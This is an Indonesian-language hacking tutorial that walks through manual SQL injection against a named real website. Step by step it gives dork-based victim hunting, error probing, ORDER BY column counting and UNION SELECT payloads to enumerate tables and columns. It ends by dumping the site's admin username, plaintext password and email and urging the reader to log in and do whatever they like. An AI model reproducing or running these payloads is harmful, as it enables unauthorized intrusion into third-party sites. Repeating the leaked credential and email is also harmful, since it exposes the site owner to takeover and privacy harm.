SQL Injection merupakan sebuah teknik hacking dimana seorang penyerang dapat memasukkan perintah-perintah SQL melalui url untuk dieksekusi oleh database. Penyebab utama dari celah ini adalah variable yang kurang di filter. Langsung saja kita mulai, Let's Go .....
- Persiapan :
- Koneksi Internet (wajib)
- Dork bisa disini atau disini
- Secangkir white Coffe
- Kesabaran
- hal pertama adalah kita cari korban menggunakan Dork diatas
- setelah kita dapat targetnya kita test apakah website tersebut vuln atau tidak untuk di Inject
- buat sebuah error pada website dengan menambahkan karakter(') atau (-) setelah atau sesudah angka pada url
Contoh :
http://carpark-management.co.uk/shop.php?id=19'
http://carpark-management.co.uk/shop.php?id='19
http://carpark-management.co.uk/shop.php?id=-19
- jika website tersebut muncul pesan error, kemungkinan besar Website Vuln untuk di Inject
- setelah itu, kita hitung jumlah table yang ada pada database website tersebut, kita gunakan perintah
order by dan di akhiri dengan tanda
-- di belakang url. sehingga menjadi seperti ini :
http://carpark-management.co.uk/shop.php?id=19+order+by+1-- <== tidak terjadi Error
http://carpark-management.co.uk/shop.php?id=19+order+by+2-- <== tidak terjadi Error
http://carpark-management.co.uk/shop.php?id=19+order+by+3-- <== tidak terjadi Error
- jika website tidak menampilkan pesan error kita langkahin aja biar gak lama - lama
http://carpark-management.co.uk/shop.php?id=19+order+by+8-- <== tidak terjadi Error
http://carpark-management.co.uk/shop.php?id=19+order+by+9-- <== ada pesan Error
- Pada angka 9 ternyata muncul error, jadi yang kita ambil angka sebelum munculnya pesan error. itu berarti jumlah tabel pada databasenya ada 8
- Selanjutnya kita akan mencari angka tabel yang bisa kita gunakan untuk perintah - perintah injection pada tahap selanjutnya. Gunakan perintah union all select diikuti jumlah tabel dan tanda (-) sebelum angka dan diakhiri dengan tanda -- pada akhir url.
http://carpark-management.co.uk/shop.php?id=-19+union+all+select+1,2,3,4,5,6,7,8--
- nah... muncul tuh angka 2 yang nantinya akan di gunakan untuk perintah - perintah selanjutnya
- untuk tahap ini, kita harus mengetahui versi database yang dipakai pada website tersebut. dengan menggunakan perintah version() atau @@version pada angka yang muncul tadi
http://carpark-management.co.uk/shop.php?id=-19+union+all+select+1,version(),3,4,5,6,7,8--
- tuh angkanya muncul, angka yang muncul adalah versi 5.1.72. jadi pada versi 5 itu berberda dengan versi 4 . prosesnya lebih repot pada versi 4 , karena untuk melakukan perintah SQL Injection pada versi 4 kita harus menebak 1 per 1 tabel yang ada pada databasenya
- Sekarang perintah selanjutnya kita akan memunculkan nama-nama tabel yang ada pada website tersebut. gunakan perintah group_concat(table_name) dan menambahkan perintah +from+information_schema.tables+where+table_schema=database() sesudah angka terakhir, dan diakhiri dengan tanda -- pada akhir url
http://carpark-management.co.uk/shop.php?id=-19+union+all+select+1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()--
- nah nama tablenya udah muncul tuh yang terdiri dari : pjcpm_admin,pjcpm_cart,pjcpm_category,pjcpm_catpro,pjcpm_country,pjcpm_news ddl sebagainya.
- Langkah selanjutnya kita akan mencari username dan password admin pada tabel pjcpm_admin. Perlu diketahui bahwa tidak semua nama tabel pada setiap website itu sama, jadi untuk mencari tabel admin, silahkan di kira-kira saja dimana tabel yang sobat curigai tempat username dan password admin berada
- Selanjutnya kita mencari kolom yang berada di dalam tabel pjcpm_admin, dengan menggunakan perintah
group_concat(column_name) dan perintah
+from+information_schema.columns+where+table_name=CHAR() sesudah angka terakhir, dan diakhiri dengan tanda
-- pada akhir url. Pada tahap ini nama tabel
pjcpm_admin harus dikonversi dulu ke bentuk decimal. silahkan koversi
disini. kemudian hasil konversi
pjcpm_admin adalah 112 106 99 112 109 95 97 100 109 105 110 lalu kita masukkan ke CHAR(112,106,99,112,109,95,97,100,109,105,110) dan pisahkan dengan koma.
http://carpark-management.co.uk/shop.php?id=-19+union+all+select+1,group_concat(column_name),3,4,5,6,7,8+from+information_schema.columns+where+table_name=CHAR(112,106,99,112,109,95,97,
100,109,105,110)--
- Nah, udah muncul nama kolomnya yang terdiri dari admin_id,username,password dan email.
- langkah selanjutnya kita lihat isi dari nama - nama kolom tadi dengan perintah group_concat(admin_id,0x3a,usename,0x3a,password,03xa,email). jangan lupa di setiap sela - sela tambahkan kode 0x3a yang merupakan hasil konversi hexa dari tanda titik dua (:). lalu tambahkan perintah +from+pjcpm_admin-- (pjcpm_admin merupakan tabel yang kita dapatkan tadi) di belakang angka terakhir
http://carpark-management.co.uk/shop.php?id=-19+union+all+select+1,group_concat(admin_id,0x3a,username,0x3a,password,0x3a,email),3,4,5,6,7,8+from+pjcpm_admin--
- dari gambar di atas isi dari kolom yang muncul adalah 1:manager:cpm2010:maneesh@webdesigninguk.co, terus kita cari deh halaman log in nya, tinggal masuk dan terserah anda mau di apain tuh website.
Saya kira hanya begitu saja, kurang lebih mohon maaf
terima kasih, dan sampai jumpa